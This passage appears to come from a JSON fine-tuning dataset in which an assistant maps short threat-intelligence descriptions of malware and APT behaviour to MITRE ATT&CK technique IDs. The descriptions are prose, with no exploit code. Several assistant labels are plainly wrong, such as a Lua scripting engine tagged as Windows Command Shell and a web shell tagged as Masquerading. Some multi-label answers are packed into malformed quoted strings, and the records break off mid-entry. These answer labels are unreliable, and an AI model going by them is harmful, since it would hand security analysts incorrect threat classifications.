                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "EvilBunny is a multi-threaded bot with an integrated scripting engine. It incorporates a Lua engine and downloads and executes Lua scripts to reach a certain level of polymorphism. The Lua scripts can call back into the C++ code to alter the malware behavior at runtime"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Downloading stylesheets allows for emended JavaScript and VBS to be run from within them, at which point any type of malware could be staged and run quite easily"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Epic gathers information on local group names."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat Group-3390 malware has used HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TA551 has retrieved DLLs and installer binaries for malware execution from C2."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron is capable of starting a process using CreateProcess."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used Mimikatz to retrieve credentials from LSASS memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used the command-line interface for execution."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT3 has been known to side load DLLs with a valid version of Chrome with one of their tools."
            },
            {
                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POSHSPY WMI Component The WMI component of the POSHSPY backdoor leverages a Filter to execute the PowerShell component of the backdoor on a regular basis"
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FinFisher establishes persistence by creating the Registry key \"HKCU\\Software\\Microsoft\\Windows\\Run\"."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mofang delivered spearphishing emails with malicious links included."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has used steganography to hide shellcode in a BMP image file."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETWIRE has the ability to search for files on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Next, the dropper checks its own parent process for indications that it is running in a sandbox setup. It calculates the MD5 hash of the lower-case process image name and terminates if one of the following conditions are met"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ixeshe uses HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Higaisa named a shellcode loader binary \"svchast.exe\" to spoof the legitimate \"svchost.exe\"."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its sole purpose is to load setup.dll using LoadLibraryA. If not, it will attempt to obtain such privileges using token impersonation if the version of Windows is below Windows 7 build 7601; otherwise it will attempt different UAC bypass techniques, allowing installation of the payload loader into one of"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command and Control Infrastructure: Compromised servers, messaging platforms, and cloud service providers to avoid detection"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Karkaddan actors are known to use the Crimson RAT malware in its campaigns to communicate with its command-and-control (C&C) server to download other malware or exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1587.001 - Malware', 'T1583.004 - Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can list the running processes and get the process ID and parent process’s ID."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ISMInjector creates scheduled tasks to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The official AutoIt3 interpreter comes as part of the AutoIt installation package, and it is used by the malware to execute the compiled script. The VBS script runs the AutoIt interpreter, passing the compiled script as an argument. Once executed, it loads the library, which was also passed as an argument to call a hardcoded exported function"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has deleted many of its files used during operations as part of cleanup, including removing applications and deleting screenshots."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implanted VBS file is capable of reporting information about infected machines and downloading additional payloads with an encoded format"
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pupy can walk through directories and recursively search for strings in files."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WarzoneRAT can encrypt its C2 with RC4 with the password `warzone160\\x00`."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has the capability to perform keylogging."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once delivered, Egregor will perform a sequence of language checks in a similar manner to both Maze and Sekhmet, before attempting to enumerate all connected drives. If successful, it connects to a command and control (C2) server to grab a list of directories present on the enumerated drives to search. Any files in these directories are then extracted and sent back to the C2 server"
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ScreenCapture: It takes screenshots of the infected machine - Download Secondary Payloads: It downloads additional plugins and other malware - Enterprise-aware: It targets administrators and enterprises networks - Infiltrates the Exchange Server: It collects and steal sensitive information from the Microsoft Exchange mail system, including credentials and the domain certificate"
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KopiLuwak In November 2016, Kaspersky Lab observed a new round of weaponized macro documents that dropped a new, heavily obfuscated Javascript payload that we named KopiLuwak (one of the rarest and most expensive types of coffee in the world)"
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Leeson, Neoichor, and NumbIdea malware families typically use the Internet Explorer (IE) COM interface to connect and receive commands from hardcoded C2 servers. Due to their reliance on IE, these malware families intentionally configure the browser settings by modifying the following registry entries"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry', 'T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot has come with a signed downloader component."
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SslMM creates a new thread implementing a keylogging facility using Windows Keyboard Accelerators."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ acquired and used the Redline password stealer in their operations."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unit 42 has been tracking an APT campaign we name TiltedTemple, which we first identified in connection with its use of the Zoho ManageEngine ADSelfService Plus vulnerability CVE-2021-40539 and ServiceDesk Plus vulnerability CVE-2021-44077."
            },
            {
                "role": "assistant",
                "content": "T1588.006 - Vulnerabilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "keylogger KiloAlfa obtains user tokens from interactive sessions to execute itself with API call CreateProcessAsUserA under that user's context."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Darkhotel has used first-stage payloads that download additional malware from C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The dropped file is executed after terminating any process with the same name. For persistence, it adds a shortcut for the file at the %STARTUP% directory"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kobalos's post-authentication communication channel uses a 32-byte-long password with RC4 for inbound and outbound traffic."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OwaAuth is a web shell that is installed as an ISAPI filter on Exchange servers and shares characteristics with the ChinaChopper web shell. The OwaAuth web shell enables a threat actor to upload and download files, launch processes, and execute SQL queries"
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has dropped an SSH-authorized key in the `/root/.ssh` folder in order to access a compromised server with SSH."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Function similarity – Important functions in both BYEBY and wincore.dll have almost the same implementation. One such function is the payloads’ main thread function."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Malware', 'T1055.003 - Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RegDuke can hide data in images, including use of the Least Significant Bit (LSB)."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a command, ps, to obtain a listing of processes on the system."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If Irdsnhrxxxfery64 is loaded using regsvr32.exe, it will target three processes:   It will target unins000.exe if it is available"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BRONZE UNION has also leveraged various web shells to collect and stage data for exfiltration. In one instance, the threat actor gained remote access to a high-value system in a compromised network, ran quser.exe to identify existing RDP sessions on the device, immediately ran a command to compile a RAR archive that specified file types the threat actor did not want, and used a password to encrypt the archive"
            },
            {
                "role": "assistant",
                "content": "T1560.002 - Archive Collected Data: Archive via Library', 'T1074.001 - Data Staged: Local Data Staging', 'T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT has the ability to list all running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy has gathered information about local network connections using netstat."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can execute shell commands using cmd.exe."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cobalt Strike uses a custom command and control protocol that can encapsulated in DNS. All protocols use their standard assigned ports."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, one of the samples is able to capture screenshots of the infected system. To perform this task, the developer used the GDI API: A keylogger is also present in the analyzed sample. The SetWindowsHookEx() API is used to retrieve the stroked keys. The GetKeyNameText() API is used to retrieve a string that represents the name of a key. In addition to the key, the title of the foreground window is stored in order to known where the infected user is typing (by using the GetForegroundWindow() and GetWindowText() API"
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Magic Hound has collected .PST archives."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 have created firewall exemptions on specific ports, including ports 443, 6443, 8443, and 9443."
            },
            {
                "role": "assistant",
                "content": "T1562.004 - Impair Defenses: Disable or Modify System Firewall"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware then allows the user to open the file as normal without any indication to the user that anything has occurred"
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operating system's name (i.e., the name of the machine) Operating system's OS architecture Operating system's caption Computer system's domain Computer system's username Computer's public IP address"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers BIOS versions and manufacturers, the number of CPU cores, the total physical memory, and the computer name."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BabyShark has encoded data using certutil before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Small Sieve can use `cmd.exe` to execute commands on a victim's system."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gamaredon Group has collected files from infected systems and uploaded them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ESET has recently discovered that the BlackEnergy trojan was recently used as a backdoor to deliver a destructive KillDisk component in attacks against Ukrainian news media companies and against the electrical power industry. In this blog, we provide details on the BlackEnergy samples ESET has detected in 2015, as well as the KillDisk components used in the attacks. Furthermore, we examine a previously unknown SSH backdoor that was also used as another channel of accessing the infected systems, in addition to BlackEnergy"
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has written malware variants in Visual Basic."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses HTTP and HTTPS for C2."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Comnie runs the command: \"net start >> %TEMP%\\info.dat\" on a victim."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can execute remote commands using Windows Management Instrumentation."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "dumped the login data database from \\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has searched a victim's network for collaboration platforms like Confluence and JIRA to discover further high-privilege account credentials."
            },
            {
                "role": "assistant",
                "content": "T1213.001 - Confluence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  group has used other forms of obfuscation, include commingling legitimate traffic with communications traffic so that network streams appear legitimate. Some malware that has been used by  also uses steganography to hide communication in PNG image files."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LightNeuron exfiltrates data over its email C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Blue Mockingbird has used Windows Registry modifications to specify a DLL payload."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LiteDuke can use HTTP GET requests in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StreamEx obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "menuPass executes commands using a command-line interface and reverse shell. The group has used a modified version of pentesting script wmiexec.vbs to execute commands. menuPass has used malicious macros embedded inside Office documents to execute files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
